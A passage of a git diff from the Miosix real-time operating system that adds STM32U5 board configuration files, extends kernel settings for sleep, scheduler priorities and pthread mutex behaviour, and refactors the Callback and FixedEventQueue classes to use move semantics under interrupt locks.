OscillatorType { HSI, HSE, MSI }; +// Supported oscillator types: HSI, HSE, MSI +// Note: MSI appears to be more inaccurate than the datasheet states +// (measured about 5% instead of 1%) +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=16000000; +// Supported clock frequencies: 24000000, 36000000, 48000000, 72000000, 80000000 +// Note: at 80Mhz SDIO and RNG run at the wrong speed and USB will not work +// because the PLL will run at 40MHz instead of 48MHz +constexpr unsigned int cpuFrequency=72000000; + +/// Serial port +/// Serial ports 1 to 5 are available +const unsigned int defaultSerial=2; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; //actually connected to DAC1_OUT1 +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +//#define SD_ONE_BIT_DATABUS //All data lines are connected + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32u535cb_rrc/Makefile.inc b/miosix/config/board/stm32u535cb_rrc/Makefile.inc new file mode 100644 index 000000000..193315506 --- /dev/null +++ b/miosix/config/board/stm32u535cb_rrc/Makefile.inc @@ -0,0 +1,7 @@ +## +## Options for board stm32u535cb_rrc +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld diff --git a/miosix/config/board/stm32u535cb_rrc/board_settings.h b/miosix/config/board/stm32u535cb_rrc/board_settings.h new file mode 100644 index 000000000..48cf45d94 --- /dev/null +++ b/miosix/config/board/stm32u535cb_rrc/board_settings.h @@ -0,0 +1,88 @@ +/*************************************************************************** + * Copyright (C) 2018-2021 by Terraneo Federico * + * Copyright (C) 2026 by Alain Carlucci * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSI +constexpr auto oscillatorType=OscillatorType::HSI; +constexpr unsigned int hseFrequency=0; +// Supported clock frequencies: 48000000 +constexpr unsigned int cpuFrequency=48000000; + +/// Serial port +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=false; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +//static const unsigned char sdVoltage=33; //Board powered @ 3.3V +//#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 +//#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32u585ci_generic/Makefile.inc b/miosix/config/board/stm32u585ci_generic/Makefile.inc new file mode 100644 index 000000000..315c62eac --- /dev/null +++ b/miosix/config/board/stm32u585ci_generic/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32u585ci_generic +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32u585ci_generic/board_settings.h b/miosix/config/board/stm32u585ci_generic/board_settings.h new file mode 100644 index 000000000..65b6ee207 --- /dev/null +++ b/miosix/config/board/stm32u585ci_generic/board_settings.h @@ -0,0 +1,88 @@ +/*************************************************************************** + * Copyright (C) 2018-2021 by Terraneo Federico * + * Copyright (C) 2026 by Alain Carlucci * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=25000000; +// Supported clock frequencies: 160000000, 110000000, 48000000, 24000000 +constexpr unsigned int cpuFrequency=160000000; + +/// Serial port +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=false; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +//static const unsigned char sdVoltage=33; //Board powered @ 3.3V +//#define SD_SDMMC 1 //Select either SDMMC1 or SDMMC2 +//#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/miosix_settings.h b/miosix/config/miosix_settings.h index 7b35cd4c8..1a7c39749 100644 --- a/miosix/config/miosix_settings.h +++ b/miosix/config/miosix_settings.h @@ -27,24 +27,15 @@ #pragma once -// Before you can compile the kernel you have to configure it by editing this -// file. After that, comment out this line to disable the reminder error. -// The PARSING_FROM_IDE is because Netbeans gets confused by this, it is never -// defined when compiling the code. -#ifndef PARSING_FROM_IDE -#error This error is a reminder that you have not edited miosix_settings.h yet. -#endif //PARSING_FROM_IDE - /** * \file miosix_settings.h * NOTE: this file contains ONLY configuration options that are not dependent * on architecture specific details. The other options are in the following * files which are included here: - * miosix/arch/architecture name/common/arch_settings.h * miosix/config/arch/architecture name/board name/board_settings.h */ -#include "arch_settings.h" #include "board_settings.h" +#include /** * \internal @@ -75,6 +66,10 @@ namespace miosix { //#define SCHED_TYPE_CONTROL_BASED //#define SCHED_TYPE_EDF +/// \def WITH_THREAD_AFFINITY +/// Enable support for setting the core affinity of threads in the scheduler +//#define WITH_THREAD_AFFINITY + /// \def WITH_CPU_TIME_COUNTER /// Allows to enable/disable CPUTimeCounter to save code size and remove its /// overhead from the scheduling process. By default it is not defined @@ -88,7 +83,11 @@ namespace miosix { /// \def WITH_FILESYSTEM /// Allows to enable/disable filesystem support to save code size /// By default it is defined (filesystem support is enabled) -#define WITH_FILESYSTEM +//#define WITH_FILESYSTEM + +// The following options make sense only when filesystem is enabled, so they are +// always left undefined otherwise +#ifdef WITH_FILESYSTEM /// \def WITH_DEVFS /// Allows to enable/disable DevFs support to save code size @@ -127,7 +126,6 @@ constexpr unsigned int FATFS_EXTEND_BUFFER=512; /// filesystem is synced so that a power failure happens data is not lost /// (unless power failure happens exactly between the write and the sync) /// Unfortunately write latency and throughput becomes twice as worse -/// By default it is defined (slow but safe) //#define SYNC_AFTER_WRITE /// Maximum number of files a single process (or the kernel) can open. This @@ -142,12 +140,15 @@ const unsigned char MAX_OPEN_FILES=8; /// call service and, if the hardware supports it, the MPU to provide memory /// isolation of processes //#define WITH_PROCESSES + /// RomFS is enabled by default when using processes. Comment the following /// lines if you want to use processes without RomFS. #if defined(WITH_PROCESSES) && !defined(WITH_ROMFS) #define WITH_ROMFS #endif +#endif // WITH_FILESYSTEM + // // C/C++ standard library I/O (stdin, stdout and stderr related) // @@ -168,22 +169,42 @@ const unsigned char MAX_OPEN_FILES=8; // Kernel related options (stack sizes, priorities) // +/// Enable additional assertions useful for debugging but adding more run-time +/// overhead. Three levels are implemented +/// None: Do not add extra checks, leading to fastest code. This is the default. +/// Application: Only add checks that are useful to debug kernel-level +/// application programming errors. Useful during application code debugging. +/// Kernel: Also add checks that are useful to debug kernel code. Useful +/// during kernel code debugging. Adds significant run-time overhead! +enum class ExtraChecks { None, Application, Kernel }; +constexpr auto extraChecks=ExtraChecks::None; + +/// \def WITH_SLEEP +/// Enable power saving sleep support. If enabled, the idle thread will use the +/// architecturally provided machine instruction to stop the CPU whenever no +/// ready thread exists, to save power. +/// Disabling this option does not disable the possibility for threads +/// to sleep. Application code will not notice the difference with or without +/// this option. This option will only change the CPU energy consumption when +/// threads are sleeping. +/// In general, you should keep this option enabled, the only reason to disable +/// this option is that on some architectures debuggers lose communication with +/// the device if it enters sleep mode. On these architectures, you can disable +/// this option during debug builds and enable it again in release builds. For +/// this reason, the option used to be called JTAG_DISABLE_SLEEP +#define WITH_SLEEP + /// \def WITH_DEEP_SLEEP -/// Adds interfaces and required variables to support deep sleep state switch -/// automatically when peripherals are not required +/// Adds interfaces and required variables to allow the idle thread to +/// autonomously enter the hardware-provided deep sleep state and thus achieve +/// greater energy saving by turning off also clocks and peripherals when +/// possible. Requires device drivers to support this option. Not all chips and +/// boards support this. //#define WITH_DEEP_SLEEP -/** - * \def JTAG_DISABLE_SLEEP - * JTAG debuggers lose communication with the device if it enters sleep - * mode, so to use debugging it is necessary to disable sleep in the idle thread. - * By default it is not defined (idle thread calls sleep). - */ -//#define JTAG_DISABLE_SLEEP - -#if defined(WITH_DEEP_SLEEP) && defined(JTAG_DISABLE_SLEEP) -#error Deep sleep cannot work together with jtag -#endif //defined(WITH_PROCESSES) && !defined(WITH_DEVFS) +#if defined(WITH_DEEP_SLEEP) && !defined(WITH_SLEEP) +#error Deep sleep requires sleep support +#endif //defined(WITH_DEEP_SLEEP) && !defined(WITH_SLEEP) /// Minimum stack size (MUST be divisible by 4) const unsigned int STACK_MIN=256; @@ -225,30 +246,118 @@ static_assert(STACK_DEFAULT_FOR_PTHREAD>=STACK_MIN,""); static_assert(MIN_PROCESS_STACK_SIZE>=STACK_MIN,""); static_assert(SYSTEM_MODE_PROCESS_STACK_SIZE>=STACK_MIN,""); -/// Number of priorities (MUST be >1) -/// PRIORITY_MAX-1 is the highest priority, 0 is the lowest. -1 is reserved as -/// the priority of the idle thread. -/// The meaning of a thread's priority depends on the chosen scheduler. +// The meaning of a thread's priority depends on the chosen scheduler. #ifdef SCHED_TYPE_PRIORITY -//Can be modified, but a high value makes context switches more expensive -const short int PRIORITY_MAX=4; +/// The constant NUM_PRIORITIES defines the number of priorities the scheduler +/// can handle. Value must be at least 1 and up to 128 since the priority value +/// is stored in a char in the priority scheduler. A higher value makes context +/// switches more expensive and increases the memory required by the scheduler +/// and synchronization primitives (Mutex and ConditionVariable). +/// Can be set to 1 for non-real-time applications, in which case the scheduler +/// becomes a pure round robin without priorities and code size and memory +/// occupation is minimized. +/// NUM_PRIORITIES-1 is the highest priority, 0 is the lowest. -1 is reserved as +/// the priority of the idle thread. +#define NUM_PRIORITIES 4 +/// Default priority. Priority of main() and threads created with PTHREAD/C++11 +const signed char DEFAULT_PRIORITY=1; +static_assert(NUM_PRIORITIES>=0 && NUM_PRIORITIES<=128,""); +static_assert(DEFAULT_PRIORITY>=0 && DEFAULT_PRIORITY=1) +/// NUM_PRIORITIES-1 is the highest priority, 0 is the lowest. -1 is reserved as +/// the priority of the idle thread. +/// Don't change this value, the limit is due to the fixed point implementation +/// It's not needed for if floating point is selected, but kept for consistency +const short int NUM_PRIORITIES=64; +/// Default priority. Priority of main() and threads created with PTHREAD/C++11 +const short int DEFAULT_PRIORITY=1; +static_assert(DEFAULT_PRIORITY>=0 && DEFAULT_PRIORITY::max()-2; #endif -/// Priority of main() -/// The meaning of a thread's priority depends on the chosen scheduler. -const unsigned char MAIN_PRIORITY=1; - -#ifdef SCHED_TYPE_PRIORITY +#if defined(SCHED_TYPE_PRIORITY) || defined(SCHED_TYPE_EDF) /// Maximum thread time slice in nanoseconds, after which preemption occurs const unsigned int MAX_TIME_SLICE=1000000; #endif //SCHED_TYPE_PRIORITY +/// \def OS_TIMER_MODEL_UNIFIED +/// Replace the new 1+N high-resolution timing subsystem, also called separate +/// timer model with the old high-resolution timing subsystem, called unified. +/// This only makes sense for boards that have a low number of hardware timers, +/// as the new timer model significantly improves the scheduler perofrmance, see +/// the paper "Efficient Design of High-Resolution Timekeeping in Real-Time +/// Operating Systems" +//#define OS_TIMER_MODEL_UNIFIED + +/// Select the implementation of pthread_mutex_t. Three options: +/// 1) pthreadMutexProtocolOverride=DYNAMIC; +/// Allow the type of each pthread_mutex_t to be selected on a per-mutex basis +/// with pthread_mutexattr_setprotocol(). This is the implementation POSIX +/// intended, but it has considerable drawbacks: +/// - POSIX does not allow to set the mutex protocol for statically allocated +/// mutexes, only mutexes created with pthread_mutex_init can have inheritance +/// - The C standard library and some other libraries such as OpenMP use +/// mutexes without setting priority inheritance, thus real-time code can +/// incur in priority inversion on those mutexes +/// - There is no way to alter the protocol of C++ std::mutex, although it is +/// implemented on top of pthread_mutex_t +/// - there is a performance penalty in checking the mutex type at every +/// lock/unlock +/// 2) pthreadMutexProtocolOverride=FORCE_PRIO_INHERIT; +/// All pthread_mutex_t, regardless of calls to pthread_mutexattr_setprotocol() +/// are forced to use the priority inheritance implementation. Allows to avoid +/// priority inversion also in the C standard library, using C++ mutexes and +/// OpenMP. Implementation is also slightly faster due to not having to check +/// the mutex type at every lock/unlock +/// 3) pthreadMutexProtocolOverride=FORCE_PRIO_NONE; +/// Backwards compatibility with the Miosix 2 behavior. All pthread_mutex_t do +/// not enforce priority inheritance. The kernel still provides a mutex type +/// with priority inheritance but it is the Miosix-specific claass Mutex. +/// This option provides the fastest pthread_mutex_t implementation. +enum class PthreadMutexProtocol { DYNAMIC, FORCE_PRIO_INHERIT, FORCE_PRIO_NONE }; +constexpr auto pthreadMutexProtocolOverride=PthreadMutexProtocol::DYNAMIC; + +/// Adding this definition changes the mutex types used by the kernel and device +/// drivers (KernelMutex) to the priority inheritance type. Prevents priority +/// inversion when accessing kernel code and device drivers at the cost of a +/// slightly higher overhead +//#define KERNEL_MUTEX_WITH_PRIORITY_INHERITANCE + +/// pthread_exit() is a dangerous function. To understand why, let's first +/// discuss how Linux implements it. On the surface, it looks like it neatly +/// works with C++ as it is implemented by throwing a special ForcedUnwind +/// exception thus calling C++ destructors. However, implementers left a number +/// of unhandled corner cases all leading to unexpected program termination. +/// These are: calling pthread_exit() from code that directly or indirectly... +/// 1) contains a catch(...) that does not rethrow? std::abort() gets called +/// 2) contains a function declared noexcept? std::abort() gets called +/// 3) is called from a destructor? you guessed it, std::abort() again! +/// For this reason pthread_exit() support is by default disabled in Miosix and +/// attempting to call this function is met with a linking error. If you really +/// need it, uncomment the line below. Oh, right, how does Miosix implement it? +/// Throwing a standard C++ exception, so a catch(...) can stop a pthread_exit() +/// which is imho neither better nor worse than Linux. +/// Reference: https://udrepper.livejournal.com/21541.html +//#define WITH_PTHREAD_EXIT + +/// Enable support for pthread_key_create/pthread_key_delete/pthread_getspecific +//#define WITH_PTHREAD_KEYS + +/// Maximum number of concurrently existing pthread keys +const unsigned int MAX_PTHREAD_KEYS=2; + // // Other low level kernel options. There is usually no need to modify these. @@ -262,14 +371,15 @@ const unsigned int WATERMARK_LEN=16; /// \internal Used to fill watermark const unsigned int WATERMARK_FILL=0xaaaaaaaa; -/// \internal Used to fill stack (for checking stack usage) +/// \internal Used to fill stack (for checking stack usage). Must be a single +/// byte value repeated 4 times to fill a word const unsigned int STACK_FILL=0xbbbbbbbb; // Compiler version checks -#if !defined(_MIOSIX_GCC_PATCH_MAJOR) || _MIOSIX_GCC_PATCH_MAJOR < 3 +#if !defined(_MIOSIX_GCC_PATCH_MAJOR) || (_MIOSIX_GCC_PATCH_MAJOR < 4) #error "You are using a too old or unsupported compiler. Get the latest one from https://miosix.org/wiki/index.php?title=Miosix_Toolchain" #endif -#if _MIOSIX_GCC_PATCH_MAJOR > 3 +#if _MIOSIX_GCC_PATCH_MAJOR > 4 #warning "You are using a too new compiler, which may not be supported" #endif diff --git a/miosix/e20/callback.h b/miosix/e20/callback.h index 5f3df322b..a46e1ac71 100644 --- a/miosix/e20/callback.h +++ b/miosix/e20/callback.h @@ -27,12 +27,12 @@ #pragma once -#include +#include namespace miosix { /** - * This class is to extract from Callback code that + * This class contains all the code for Callback that * does not depend on the template parameter N. */ class CallbackBase @@ -44,7 +44,7 @@ class CallbackBase enum Op { CALL, - ASSIGN, + MOVE, DESTROY }; /** @@ -57,25 +57,20 @@ class CallbackBase /** * Perform the type-dependent operations * \param a storage for the any object, stores the function object - * \param b storage for the source object for the copy constructor + * \param b storage for the source object for the move constructor * \param op operation */ - static void operation(int32_t *a, const int32_t *b, Op op) + static void operation(int32_t *a, int32_t *b, Op op) { T *o1=reinterpret_cast(a); - const T *o2=reinterpret_cast(b); + T *o2=reinterpret_cast(b); switch(op) { case CALL: (*o1)(); break; - case ASSIGN: - //This used to be simply *o1=*o2 when we were using - //tr1/functional, but in C++11 the type returned by bind - //due to having a move constructor doesn't like being - //assigned, only copy construction works so we have to - //use placement new - new (o1) T(*o2); + case MOVE: + new (o1) T(std::move(*o2)); break; case DESTROY: o1->~T(); @@ -88,8 +83,8 @@ class CallbackBase /** * A Callback works just like an std::function, but has some additional * limitations. First, it can only accept function objects that take void - * as a parameter and return void, and second if the size of the - * implementation-defined type returned by bind is larger than N a + * as a parameter and return void. Second, if the size of the + * implementation-defined type returned by bind is larger than N, a * compile-time error is generated. Also, calling an empty Callback does * nothing, while doing the same on a function results in an exception * being thrown. @@ -97,12 +92,12 @@ class CallbackBase * The reason why one would want to use this class is because, other than the * limitations, this class also offers a guarantee: it will never allocate * data on the heap. It is not just a matter of code speed: in Miosix calling - * new/delete/malloc/free from an interrupt routine produces undefined - * behaviour, so this class enables binding function calls form an interrupt - * safely. + * new/delete/malloc/free from an interrupt routine (or with the GlobalIrqLock + * taken) produces undefined behavior or even a deadlock, so this class enables + * safely binding function calls from interrupt context. * * \param N the size in bytes that an instance of this class reserves to - * store the function objects. If the line starting with 'typedef char check1' + * store the function objects. If the assert `sizeof(any)>=sizeof(T)' * starts failing it means it is time to increase this number. The size * of an instance of this object is N+sizeof(void (*)()), but with N rounded * by excess to four byte boundaries. @@ -117,38 +112,64 @@ class Callback : private CallbackBase Callback() : operation(nullptr) {} /** - * Constructor. Not explicit by design. - * \param functor function object a copy of which is stored internally + * Deleted copy constructor. Callback cannot be copied, because doing that + * may cause memory allocations. */ - template - Callback(T functor) : operation(nullptr) + Callback(Callback& rhs) = delete; + + /** + * Deleted copy constructor. Callback cannot be copied, because doing that + * may cause memory allocations. + */ + Callback(const Callback& rhs) = delete; + + /** + * Move constructor. + * \param rhs Other Callback to be moved inside this one. + */ + Callback(Callback&& rhs) { - *this=functor; + operation=rhs.operation; + if(operation) operation(any,rhs.any,MOVE); + rhs.operation=nullptr; //Ensure the rhs is made inert after the move } - + /** - * Copy constructor - * \param rhs object to copy + * Move conversion constructor. Not explicit by design. + * \param functor Object which will be moved to inside this Callback. */ - Callback(const Callback& rhs) + template + Callback(T&& functor) : operation(nullptr) { - operation=rhs.operation; - if(operation) operation(any,rhs.any,ASSIGN); + *this=std::forward(functor); } - + + /** + * Deleted assignment operators. Callback cannot be copied, because doing + * that may cause memory allocations. + */ + Callback& operator= (Callback& rhs) = delete; + + /** + * Deleted assignment operators. Callback cannot be copied, because doing + * that may cause memory allocations. + */ + Callback& operator= (const Callback& rhs) = delete; + /** - * Operator = - * \param rhs object to copy + * Assignment move operator. + * \param rhs Object to move inside this Callback. * \return *this */ - Callback& operator= (const Callback& rhs); + Callback& operator= (Callback&& rhs); /** - * Assignment operation, assigns a function object to this callback. - * \param funtor function object a copy of which is stored internally + * Assignment move operator with conversion. Moves an object inside this + * Callback. + * \param functor Object which will be moved to inside this Callback. */ template - Callback& operator= (T functor); + Callback& operator= (T&& functor); /** * Removes any function object stored in this class @@ -202,33 +223,34 @@ class Callback : private CallbackBase /// to 8 bytes. This allows i.e. declaring Callback<20> with 20 bytes of /// useful storage and 4 bytes of pointer, despite 20 is not a multiple of 8 int32_t any[(N+3)/4] __attribute__((aligned(8))); - void (*operation)(int32_t *a, const int32_t *b, Op op); + void (*operation)(int32_t *a, int32_t *b, Op op); }; template -Callback& Callback::operator= (const Callback& rhs) +Callback& Callback::operator= (Callback&& rhs) { if(this==&rhs) return *this; //Handle assignmento to self if(operation) operation(any,nullptr,DESTROY); operation=rhs.operation; - if(operation) operation(any,rhs.any,ASSIGN); + if(operation) operation(any,rhs.any,MOVE); + rhs.operation=nullptr; //Ensure the rhs is made inert after the move return *this; } template template -Callback& Callback::operator= (T functor) +Callback& Callback::operator= (T&& functor) { //If an error is reported about this line an attempt to store a too large //object is made. Increase N. - static_assert(sizeof(any)>=sizeof(T),""); + static_assert(sizeof(any)>=sizeof(T),"N is too small"); //This should not fail unless something has a stricter alignment than double - static_assert(__alignof__(any)>=__alignof__(T),""); + static_assert(__alignof__(any)>=__alignof__(T),"Alignment mismatch"); if(operation) operation(any,nullptr,DESTROY); - new (reinterpret_cast(any)) T(functor); + new (reinterpret_cast(any)) T(std::forward(functor)); operation=TypeDependentOperation::operation; return *this; } diff --git a/miosix/e20/e20.cpp b/miosix/e20/e20.cpp index 47642394b..625606a6a 100644 --- a/miosix/e20/e20.cpp +++ b/miosix/e20/e20.cpp @@ -37,21 +37,21 @@ namespace miosix { void EventQueue::post(function event) { - Lock l(m); + Lock l(m); events.push_back(event); cv.signal(); } void EventQueue::run() { - Lock l(m); + Lock l(m); for(;;) { while(events.empty()) cv.wait(l); function f=events.front(); events.pop_front(); { - Unlock u(l); + Unlock u(l); f(); } } @@ -61,7 +61,7 @@ void EventQueue::runOne() { function f; { - Lock l(m); + Lock l(m); if(events.empty()) return; f=events.front(); events.pop_front(); diff --git a/miosix/e20/e20.h b/miosix/e20/e20.h index 4ec62414b..754bab3bc 100644 --- a/miosix/e20/e20.h +++ b/miosix/e20/e20.h @@ -86,7 +86,7 @@ class EventQueue */ unsigned int size() const { - Lock l(m); + Lock l(m); return events.size(); } @@ -95,7 +95,7 @@ class EventQueue */ bool empty() const { - Lock l(m); + Lock l(m); return events.empty(); } @@ -104,7 +104,7 @@ class EventQueue private: std::list> events; ///< Event queue - mutable FastMutex m; ///< Mutex for synchronisation + mutable KernelMutex m; ///< Mutex for synchronisation ConditionVariable cv; ///< Condition variable for synchronisation }; @@ -128,7 +128,7 @@ class FixedEventQueueBase * \param events pointer to event queue * \param size event queue size */ - void postImpl(Callback& event, Callback *events, + void postImpl(Callback&& event, Callback *events, unsigned int size); /** @@ -136,12 +136,10 @@ class FixedEventQueueBase * \param event event to post * \param events pointer to event queue * \param size event queue size - * \param hppw if not null set to true if a higher priority thread is - * awakened, otherwise the variable is not modified * \return false if there was no space in the queue */ - bool IRQpostImpl(Callback& event, Callback *events, - unsigned int size, bool *hppw=nullptr); + bool IRQpostImpl(Callback&& event, Callback *events, + unsigned int size); /** * This function blocks waiting for events being posted, and when available @@ -168,7 +166,7 @@ class FixedEventQueueBase */ unsigned int sizeImpl() const { - FastInterruptDisableLock dLock; + FastGlobalIrqLock dLock; return n; } @@ -190,27 +188,25 @@ class FixedEventQueueBase }; template -void FixedEventQueueBase::postImpl(Callback& event, +void FixedEventQueueBase::postImpl(Callback&& event, Callback *events, unsigned int size) { - //Not FastInterruptDisableLock as the operator= of the bound - //parameters of the Callback may allocate - InterruptDisableLock dLock; - while(IRQpostImpl(event,events,size)==false) + FastGlobalIrqLock dLock; + while(IRQpostImpl(std::move(event),events,size)==false) { WaitToken w(Thread::IRQgetCurrentThread()); waitingPut.push_back(&w); //w.thread must be set to nullptr to protect against spurious wakeups - while(w.thread) Thread::IRQenableIrqAndWait(dLock); + while(w.thread) Thread::IRQglobalIrqUnlockAndWait(dLock); } } template -bool FixedEventQueueBase::IRQpostImpl(Callback& event, - Callback *events, unsigned int size, bool *hppw) +bool FixedEventQueueBase::IRQpostImpl(Callback&& event, + Callback *events, unsigned int size) { if(n>=size) return false; - events[put]=event; //This may allocate memory + events[put]=std::move(event); if(++put>=size) put=0; n++; if(waitingGet.empty()==false) @@ -219,8 +215,6 @@ bool FixedEventQueueBase::IRQpostImpl(Callback& event, waitingGet.front()->thread=nullptr; waitingGet.pop_front(); t->IRQwakeup(); - if(hppw && t->IRQgetPriority()>Thread::IRQgetCurrentThread()->IRQgetPriority()) - *hppw=true; } return true; } @@ -229,9 +223,7 @@ template void FixedEventQueueBase::runImpl(Callback *events, unsigned int size) { - //Not FastInterruptDisableLock as the operator= of the bound - //parameters of the Callback may allocate - InterruptDisableLock dLock; + FastGlobalIrqLock dLock; for(;;) { while(n<=0) @@ -239,9 +231,9 @@ void FixedEventQueueBase::runImpl(Callback *events, WaitToken w(Thread::IRQgetCurrentThread()); waitingGet.push_back(&w); //w.thread must be set to nullptr to protect against spurious wakeups - while(w.thread) Thread::IRQenableIrqAndWait(dLock); + while(w.thread) Thread::IRQglobalIrqUnlockAndWait(dLock); } - Callback f=events[get]; //This may allocate memory + Callback f=std::move(events[get]); if(++get>=size) get=0; n--; if(waitingPut.empty()==false) @@ -251,7 +243,7 @@ void FixedEventQueueBase::runImpl(Callback *events, waitingPut.pop_front(); } { - InterruptEnableLock eLock(dLock); + FastGlobalIrqUnlock eLock(dLock); f(); } } @@ -263,11 +255,9 @@ void FixedEventQueueBase::runOneImpl(Callback *events, { Callback f; { - //Not FastInterruptDisableLock as the operator= of the bound - //parameters of the Callback may allocate - InterruptDisableLock dLock; + FastGlobalIrqLock dLock; if(n<=0) return; - f=events[get]; //This may allocate memory + f=std::move(events[get]); if(++get>=size) get=0; n--; if(waitingPut.empty()==false) @@ -313,33 +303,40 @@ class FixedEventQueue : private FixedEventQueueBase /** * Post an event, blocking if the event queue is full. * - * \param event function function to be called in the thread that calls - * run() or runOne(). Bind can be used to bind parameters to the function. - * Unlike with the EventQueue, the operator= of the bound parameters have - * the restriction that they need to be callable from inside a - * InterruptDisableLock without causing undefined behaviour, so they - * must not, open files, print, ... but can allocate memory. + * \param event The function to be invoked in the thread that calls + * run() or runOne(), in the form of a functor object. + * Bind can be used to bind parameters to the function and make a suitable + * functor. + * The type of the functor must be move-constructible, to ensure it is + * callable from inside a GlobalIrqLock without causing memory allocations. + * Additionally their move constructor must not perform things that are + * forbidden in interrupt context such as open files, print, ... */ - void post(Callback event) + template + void post(T&& event) { - this->postImpl(event,events,NumSlots); + this->postImpl(Callback(std::move(event)),events,NumSlots); } /** * Post an event in the queue, or return if the queue was full. * - * \param event function function to be called in the thread that calls - * run() or runOne(). Bind can be used to bind parameters to the function. - * Unlike with the EventQueue, the operator= of the bound parameters have - * the restriction that they need to be callable from inside a - * InterruptDisableLock without causing undefined behaviour, so they - * must not open files, print, ... but can allocate memory. + * \param event The function to be invoked in the thread that calls + * run() or runOne(), in the form of a functor object. + * Bind can be used to bind parameters to the function and make a suitable + * functor. + * The type of the functor must be move-constructible, to ensure it is + * callable from inside a GlobalIrqLock without causing memory allocations. + * Additionally their move constructor must not perform things that are + * forbidden in interrupt context such as open files, print, ... * \return false if there was no space in the queue */ - bool postNonBlocking(Callback event) + template + bool postNonBlocking(T&& event) { - InterruptDisableLock dLock; - return 